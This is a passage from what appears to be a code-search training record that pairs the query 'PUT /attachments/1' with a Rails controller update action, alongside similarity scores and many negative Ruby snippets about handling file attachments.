validate_created_item(ews.create_item(msg.to_ews))\n msg.file_attachments.each do |f|\n next unless f.kind_of?(File)\n resp.add_file_attachment(f)\n end\n if draft\n resp.submit_attachments!\n resp\n else\n resp.submit!\n end\n else\n resp = ews.create_item(msg.to_ews)\n validate_created_item resp\n end\n end", "def create\n @document = Document.new(document_params)\n # @document.images.attach(params[:document][:images])\n respond_to do |format|\n if @document.save\n @records = Document.all.with_attached_images\n\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.user_id = current_user.id\n\n respond_to do |format|\n if @event.save\n params[:event_attachments]['image'].each do |a|\n @event_attachment = @event.event_attachments.create!(:image => a, :event_id => @event.id)\n end\n format.html { redirect_to edit_event_path(@event), notice: 'event was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "def deliver(opts = {})\n options = OpenStruct.new(opts)\n params = params_from(options)\n response = client.post(path, params, attachments: options.attachments).parsed_body\n new(response)\n end", "def post_params\n params.require(:post).permit(:title, post_attachments_attributes: [:id, :post_id, :avatar])\n end", "def create\n p_attr = params[:post_attachment]\n #note that the name of the file is a little different with blueimp uploader\n ttt=[]\n uuu = params[:post_attachment].first if params[:post_attachment].class == Array\n #ttt[:image]=uuu\n# uuu = []\n# uuu[:image] = ttt\n @posting=Posting.find(params[:id])\n @picture = @posting.post_attachments.build\n @picture.image=uuu\n\n if @picture.save\n respond_to do |format|\n format.html {\n render :json => [@picture.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => { :files => [@picture.to_jq_upload] }\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n\n# @post_attachment = PostAttachment.new(post_attachment_params)\n# if !@post_attachment.image.nil?\n# respond_to do |format|\n# if @post_attachment.save\n# format.html { redirect_to @post_attachment, notice: 'Post attachment was successfully created.' }\n# format.json { render :show, status: :created, location: @post_attachment }\n# else\n# format.html { render :new }\n# format.json { render json: @post_attachment.errors, status: :unprocessable_entity }\n# end\n# end\n# end\n end", "def post_multipart(url, data, filename, headers = {})\n request(:post, url, headers, {:data => data, :file => filename, :multipart => true})\n end" ]
[ "0.67856145", "0.67284447", "0.6717782", "0.6717782", "0.6710522", "0.66664606", "0.6630575", "0.65930396", "0.65218943", "0.6507676", "0.6459344", "0.6454859", "0.6453828", "0.6449482", "0.6444526", "0.64219415", "0.640342", "0.6388061", "0.63603103", "0.6320983", "0.6305493", "0.63046354", "0.62687516", "0.6250236", "0.62367105", "0.62254184", "0.6207826", "0.6205038", "0.61971086", "0.618682", "0.61827695", "0.61743313", "0.6169514", "0.6150966", "0.61423886", "0.61411", "0.6109793", "0.610545", "0.6100233", "0.60965765", "0.6070404", "0.6069253", "0.6066806", "0.60656273", "0.60642767", "0.60447735", "0.60386974", "0.6031303", "0.6030309", "0.6025589", "0.60068804", "0.60068804", "0.6002398", "0.60018635", "0.6000098", "0.5999386", "0.5999386", "0.59946203", "0.5992669", "0.5962225", "0.5934623", "0.59260833", "0.5926034", "0.59211946", "0.5912828", "0.5902288", "0.58989877", "0.5892094", "0.58914787", "0.5884589", "0.58738536", "0.58669335", "0.58568215", "0.5853694", "0.5848191", "0.5842109", "0.58321565", "0.58227473", "0.5822297", "0.5821766", "0.58141947", "0.5813571", "0.5791661", "0.57847947", "0.5780869", "0.57802486", "0.5773509", "0.5768439", "0.57681334", "0.5764805", "0.57618856", "0.5758853", "0.57525074", "0.57520837", "0.57497853", "0.5744028", "0.5743214", "0.5742331", "0.5742053", "0.57415694" ]
0.58849114
69
PUT /attachments/1 PUT /attachments/1.json
def update @attachment = Attachment.find(params[:id]) if @attachment.model_id != nil respond_to do |format| if @attachment.update_attributes(params[:attachment]) format.html { redirect_to "/#{@attachment.model_name}/#{@attachment.model_id}/edit/", notice: 'Attachment was successfully updated.' } format.json { head :ok } else format.html { render action: "edit" } format.json { render json: @attachment.errors, status: :unprocessable_entity } end end else respond_to do |format| format.html { redirect_to :back } format.json { head :no_content } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @document.update(document_params)\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "def ti_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { head :no_content }\n format.json { head :no_content }\n else\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end\n end", "def update\n @attachment = Attachment.find_by_name(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def co_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n #$attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n end", "def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def put_attachment(name)\n return unless attachments[name]\n result = JSON.parse(RestClient.put(\"#{ uri }/#{ CGI.escape(name) }#{ '?rev=' + @_rev if @_rev }\", attachments[name][:file], {:content_type => attachments[name][:content_type], :accept => 'text/json'}))\n @_rev = result['rev']\n end", "def cc_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n #$attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update_attachments(issue, args)\n if issue.persisted?\n delete_ids = args[:delete_attachments]\n issue.attachments.in(id: delete_ids).update_all(deleted: true)\n end\n\n return if (attachments.nil? || attachments.empty?)\n\n attachments.each do |attachment|\n if attachment[:id].blank?\n new_file = issue.attachments.build\n new_file.file = attachment[:data] # <json string>\n new_file.save!\n end\n end\n end", "def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachment }\n else\n format.html { render :edit }\n format.json { render json: @attaessay_file_namechment.errors, status: :unprocessable_entity }\n end\n end\n end", "def si_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment_changed = true\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def of_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment_changed = true\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end", "def update\n upload = params.require(:file)\n handler = create_handler(params[:id], upload)\n\n if handler.valid?\n render json: attachment_json(handler.call)\n else\n render json: errors_json(handler), status: :unprocessable_entity\n end\n end", "def update\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n if @message_attachment.update_attributes(params[:message_attachment])\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to attachments_path, notice: 'El archivo ha sido cambiado de categoria correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @add_attachments = args[:add_attachments] if args.key?(:add_attachments)\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to(@attachment, :notice => 'Attachment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to(@attachment, :notice => 'Attachment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n flash[:notice] = 'Attachment was successfully updated.'\n format.html { redirect_to(@attachment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event_attachment.update(event_attachment_params)\n format.html { redirect_to @event_attachment, notice: 'Event attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_attachment }\n else\n format.html { render :edit }\n format.json { render json: @event_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @project.update(project_params)\n if params[:project_attachments]\n params[:project_attachments].each do |a|\n # logger.debug \"New attachment: #{a}\"\n @project_attachment = @project.project_attachments.create!(attachment: a)\n end\n end\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @file_upload_attachment.update(file_upload_attachment_params)\n format.html { redirect_to @file_upload_attachment, notice: 'File upload attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file_upload_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @file_attachment = FileAttachment.find(params[:id])\n\n respond_to do |format|\n if @file_attachment.update_attributes(params[:file_attachment])\n flash[:notice] = 'FileAttachment was successfully updated.'\n format.html { redirect_to(@file_attachment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @file_attachment.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @attached = Attached.find(params[:id])\n\n respond_to do |format|\n if @attached.update_attributes(params[:attached])\n format.html { redirect_to @attached, notice: 'Attached was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attached.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incidentattachment.update(incidentattachment_params)\n format.html { redirect_to @incidentattachment, notice: 'Incidentattachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentattachment }\n else\n format.html { render :edit }\n format.json { render json: @incidentattachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n attachment = Attachment.find_by!(:slug => params[:id],\n :conversation_id => current_account.conversation_ids + [nil])\n\n if params[:task_list] and !params[:task_list][:tasks].empty?\n attachment.update_attribute(:tasks, params[:task_list][:tasks])\n end\n\n render :json => attachment\n end", "def update\n respond_to do |format|\n if @cms_attachment.update(cms_attachment_params)\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_attachment }\n else\n format.html { render :edit }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cms_attachment.update(cms_attachment_params)\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_attachment }\n else\n format.html { render :edit }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_note\n id = unsafe_params[:id].to_i\n fail \"id needs to be an Integer\" unless id.is_a?(Integer)\n\n title = unsafe_params[:title]\n fail \"title needs to be a String\" unless title.is_a?(String)\n\n content = unsafe_params[:content] || \"\"\n fail \"content needs to be a String\" unless content.is_a?(String)\n\n attachments_to_save = unsafe_params[:attachments_to_save] || []\n fail \"attachments_to_save needs to be an array\" unless attachments_to_save.is_a?(Array)\n\n attachments_to_delete = unsafe_params[:attachments_to_delete] || []\n fail \"attachments_to_delete neeeds to be an array\" unless attachments_to_delete.is_a?(Array)\n\n note = nil\n Note.transaction do\n note = Note.find_by!(id: unsafe_params[:id])\n fail '' unless note.editable_by?(@context)\n\n attachments_to_save.each do |uid|\n item = item_from_uid(uid)\n note.attachments.find_or_create_by(item: item)\n end\n\n attachments_to_delete.each do |uid|\n item = item_from_uid(uid)\n note.attachments.where(item: item).destroy_all\n end\n\n note.update!(title: title, content: content)\n end\n\n render json: {\n id: note.id,\n path: note_path(note),\n }\n end", "def update\n respond_to do |format|\n if @user_attachment.update(user_attachment_params)\n format.html { redirect_to @user_attachment, notice: 'User attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n expire_action( news_url(:slug=>@post.slug) )\n expire_action( news_url(nil) )\n expire_action( home_url() )\n\n # Add/Remove attachments\n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n params[:removed_attachments].each do |att_id|\n begin # Let's be safe about it...\n @post.attachments.find(att_id).destroy\n rescue\n STDERR.puts \"#{att_id} isn't a valid ID for this post.\"\n end\n end if params.has_key?( :removed_attachments )\n\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to posts_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @order_attachment.update(order_attachment_params)\n format.html { redirect_to @order_attachment, notice: 'Order attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_attachment }\n else\n format.html { render :edit }\n format.json { render json: @order_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @case.update(case_params)\n params[:case_attachments]['photo'].each do |a|\n @case_attachment = @case.case_attachments.create!(:photo => a, :case_id => @case.id)\n end\n format.html { redirect_to admin_cases_path, notice: \"Caso Clínico (#{@case.title}), alterado com sucesso!\" }\n format.json { render :show, status: :ok, location: [:admin, @case] }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_attachment(args={})\n raise ArgumentError unless args[:file] && args[:name]\n return unless has_attachment?(args[:name])\n delete_attachment(args[:name])\n set_attachment_attr(args)\n rescue ArgumentError => e\n raise ArgumentError, 'You must specify :file and :name'\n end", "def put(path = '/files/', params = {})\n request :put, path, params\n end", "def test_issue_attachements\n log_user('jsmith', 'jsmith')\n\n post 'issues/edit/1',\n :notes => 'Some notes',\n :attachments => {'1' => {'file' => test_uploaded_file('testfile.txt', 'text/plain'), 'description' => 'This is an attachment'}}\n assert_redirected_to \"issues/show/1\"\n \n # make sure attachment was saved\n attachment = Issue.find(1).attachments.find_by_filename(\"testfile.txt\")\n assert_kind_of Attachment, attachment\n assert_equal Issue.find(1), attachment.container\n assert_equal 'This is an attachment', attachment.description\n # verify the size of the attachment stored in db\n #assert_equal file_data_1.length, attachment.filesize\n # verify that the attachment was written to disk\n assert File.exist?(attachment.diskfile)\n \n # remove the attachments\n Issue.find(1).attachments.each(&:destroy)\n assert_equal 0, Issue.find(1).attachments.length\n end", "def update!(**args)\n @attachment_id = args[:attachment_id] unless args[:attachment_id].nil?\n @data = args[:data] unless args[:data].nil?\n @size = args[:size] unless args[:size].nil?\n end", "def update\n respond_to do |format|\n if @attachfile.update(attachfile_params)\n format.html { redirect_to @attachfile, notice: 'Attachfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachfile }\n else\n format.html { render :edit }\n format.json { render json: @attachfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friends_attachment.update(friends_attachment_params)\n format.html { redirect_to @friends_attachment, notice: \"Friends attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @friends_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friends_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_attachment index, id, pipeline, document\n document_for_reporting = document.clone\n document_for_reporting[\"data\"] = document_for_reporting[\"data\"] ? \"[...#{document_for_reporting[\"data\"].length} characters long]\" : \"none\"\n\n es_uri = \"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}?pipeline=#{pipeline}\"\n\n log.debug(\"Uploading attachment through call: #{es_uri}\")\n log.debug(\"Uploading approximate body: #{document_for_reporting}\")\n\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}?pipeline=#{pipeline}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end", "def connect_attachments(params)\n json_attachments = params['data'].try(:[], 'relationships').try(:[], 'attachments')\n return if json_attachments.blank?\n\n attachment_list = resource_list('attachment', json_attachments)\n\n attachment_list.each do |attachment|\n attachment.attachable = self\n attachment.save\n end\n end", "def update\n @aboutshetuan = Aboutshetuan.find(params[:id])\n\n respond_to do |format|\n if @aboutshetuan.update_attributes(params[:aboutshetuan])\n Attachment.create(:attachment => params[:attachment], :attachmentable => @aboutshetuan) if params[:attachment]\n format.html { redirect_to @aboutshetuan, notice: 'Aboutshetuan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aboutshetuan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attached_asset = AttachedAsset.find(params[:id])\n\n respond_to do |format|\n if @attached_asset.update_attributes(params[:attached_asset])\n format.html { redirect_to @attached_asset, notice: 'Attached asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attached_asset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @capa = Capa.find(params[:id])\n\n respond_to do |format|\n if @capa.update_attributes(params[:capa])\n unless params[:capa_files].blank?\n params[:capa_files]['file'].each do |a|\n @capa_file = @capa.capa_files.create!(:file => a, :capa_id => @capa.id)\n end\n end\n format.html { redirect_to @capa, notice: 'Capa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @capa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n @body = args[:body] if args.key?(:body)\n @create_time = args[:create_time] if args.key?(:create_time)\n @name = args[:name] if args.key?(:name)\n @permissions = args[:permissions] if args.key?(:permissions)\n @title = args[:title] if args.key?(:title)\n @trash_time = args[:trash_time] if args.key?(:trash_time)\n @trashed = args[:trashed] if args.key?(:trashed)\n @update_time = args[:update_time] if args.key?(:update_time)\n end", "def update\n respond_to do |format|\n if @embedded_attachment.update(embedded_attachment_params)\n format.html { redirect_to @embedded_attachment, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @embedded_attachment }\n else\n format.html { render :edit }\n format.json { render json: @embedded_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @attachment_id = args[:attachment_id] if args.key?(:attachment_id)\n @initiator = args[:initiator] if args.key?(:initiator)\n @uri = args[:uri] if args.key?(:uri)\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def update\n @attachment_datum = AttachmentDatum.find(params[:id])\n\n respond_to do |format|\n if @attachment_datum.update_attributes(params[:attachment_datum])\n format.html { redirect_to @attachment_datum, notice: 'Attachment datum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n params[:event_attachments]['image'].each do |a|\n @event_attachment = @event.event_attachments.create!(:image => a, :event_id => @event.id)\n end\n format.html { redirect_to edit_event_path(@event), notice: 'event was successfully edited.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "def update\n respond_to do |format|\n if @travel_post_attachment.update(travel_post_attachment_params)\n format.html { redirect_to @travel_post_attachment, notice: 'Travel post attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @travel_post_attachment }\n else\n format.html { render :edit }\n format.json { render json: @travel_post_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @attachment_name = args[:attachment_name] if args.key?(:attachment_name)\n @namespaced_type = args[:namespaced_type] if args.key?(:namespaced_type)\n @data = args[:data] if args.key?(:data)\n end", "def update\n respond_to do |format|\n if @post_attachment.update(post_attachment_params)\n format.html { redirect_to @post_attachment.post, notice: 'Post attachment was successfully updated.' }\n end \n end\nend", "def update\n @pattachment = Pattachment.find(params[:id])\n\n respond_to do |format|\n if @pattachment.update_attributes(params[:pattachment])\n format.html { redirect_to @pattachment, notice: 'Pattachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pattachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @article.update(article_params)\n unless params[:draft_img].blank?\n attachment = Attachment.create(attachment_entity_type: \"Article\",attachment_entity_id: @article.id , path: params[:draft_img], created_by: 1 ) \n @article.cover_img = attachment.id\n @article.save\n end\n format.html { redirect_to @article, notice: 'Article was successfully updated.' }\n format.json { render :show, status: :ok, location: @article }\n else\n format.html { render :edit }\n format.json { render json: @article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @note_attachment.update(note_attachment_params)\n format.html { redirect_to @note_attachment.note, notice: 'Note attachment was successfully updated.' }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting.update(edit_params)\n @meeting.file.attach(params[:meeting][:my_file])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n analyze\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @link_attachment.update(link_attachment_params)\n format.html { redirect_to @link_attachment, notice: 'Link attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @link_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @knowledge_article.update(knowledge_article_params)\n #update file attachments\n\n format.html { redirect_to @knowledge_article, notice: 'Knowledge article was successfully updated.' }\n format.json { render :show, status: :ok, location: @knowledge_article }\n else\n format.html { render :edit }\n format.json { render json: @knowledge_article.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @treq = Treq.find(params[:id])\n\n respond_to do |format|\n unless params[:treq_files].blank?\n params[:treq_files]['file'].each do |a|\n @treq_file = @treq.treq_files.create!(:file => a, :treq_id => @treq.id)\n end\n end\n if @treq.update_attributes(params[:treq])\n format.html { redirect_to @treq, notice: 'Treq was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @treq.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_attachment\n @attachment = Attachment.find(params[:id])\n end", "def update\n respond_to do |format|\n if @teacher_attachment.update(teacher_attachment_params)\n format.html { redirect_to @teacher_attachment, notice: 'Teacher attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @teacher_attachment }\n else\n format.html { render :edit }\n format.json { render json: @teacher_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end", "def update\n @documentary.thumbnail = params[:file]\n @documentary.save!\n json_response({ message: Message.media_created })\n end", "def update\n respond_to do |format|\n if @attachment.update(programs_attachment_params)\n format.js {}\n format.json { head :no_content, status: :updated }\n else\n format.js { render status: :unprocessable_entity }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n @timestamp = args[:timestamp] if args.key?(:timestamp)\n @value = args[:value] if args.key?(:value)\n end", "def update\n respond_to do |format|\n if @property_attachment.update(property_attachment_params)\n format.html { redirect_to @property_attachment, notice: \"Property attachment was successfully updated.\" }\n format.json { render :show, status: :ok, location: @property_attachment }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @property_attachment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @attachment_id = args[:attachment_id] if args.key?(:attachment_id)\n @client_name_space = args[:client_name_space] if args.key?(:client_name_space)\n @comment = args[:comment] if args.key?(:comment)\n @messages = args[:messages] if args.key?(:messages)\n @type_id = args[:type_id] if args.key?(:type_id)\n end", "def update\n @attachment = Attachment.find(params[:id])\n params[:attachment]['role_ids'] ||=[]\n if params[:public_page]==\"public\"\n params[:attachment]['role_ids']=[]\n end\n # RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:position]=#{params[:position]}\\n\")\n if params[:position] && !params[:position].blank?\n params[:attachment]['position']=params[:position]\n # RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:attachment]['position']= #{params[:attachment]['position']}\\n\")\n end\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n flash[:notice] = 'attachment was successfully updated.'.t\n format.html { redirect_to page_attachments_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors.to_xml }\n end\n end\n end", "def update!(**args)\n @attachment = args[:attachment] if args.key?(:attachment)\n @segment = args[:segment] if args.key?(:segment)\n end", "def upload_attachment(documentname,locale,fullpath, mime_type,attachmentname)\n thisfile = File.new(\"#{fullpath}\")\n # Create the hash of the file for comparison, since we don't want to update the attachment if it hasn't changed\n this_attachment_hash = Digest::SHA256.file(thisfile).hexdigest\n dupe = Topic.by_topicname_and_locale.key([\"#{documentname}\",\"#{locale}\"]).count > 0\n unless dupe\n then\n# begin\n @thisattachment = Topic.create!({\n :locale => locale,\n :attachment_hash => this_attachment_hash,\n :topicname => documentname})\n @thisattachment.create_attachment(\n :name => attachmentname,\n :file => thisfile,\n :content_type => mime_type)\n # rescue\n # STDERR.puts \"Could not create a new topic with lang/locale: #{locale} and filename #{documentname}\"\n # end\n else\n # Hopefully we don't need the first, but just in case\n @thisattachment = Topic.by_topicname_and_locale.key([\"#{documentname}\",\"#{locale}\"]).first\n begin\n @thisattachment.update_attributes(\n :version_removed => CURRENT_PATCH,\n :api_version_removed => CURRENT_API_VERSION,\n :locale => locale,\n :topicname => documentname)\n rescue\n STDERR.puts \"Could not update attributes on lang/locale: #{locale} and filename #{documentname}\"\n end\n # If there is already an attachment with this filename, check to see if it needs to be updated\n if (@thisattachment.has_attachment?(attachmentname))\n then\n # Only update it if it's changed\n couch_attachment_hash = Digest::SHA256.hexdigest(@thisattachment.read_attachment(attachmentname))\n if (couch_attachment_hash != this_attachment_hash)\n then\n begin\n @thisattachment.update_attributes({:attachment_hash => this_attachment_hash})\n @thisattachment.update_attachment({\n :name => attachmentname,\n :file => thisfile,\n :content_type => mime_type})\n rescue\n STDERR.puts \"Could not update attributes, or the attachment on lang/locale: #{locale} and filename #{documentname}, for #{attachmentname}\"\n end\n end\n else\n begin\n @thisattachment.update_attributes({:attachment_hash => this_attachment_hash})\n @thisattachment.create_attachment({\n :name => attachmentname,\n :file => thisfile,\n 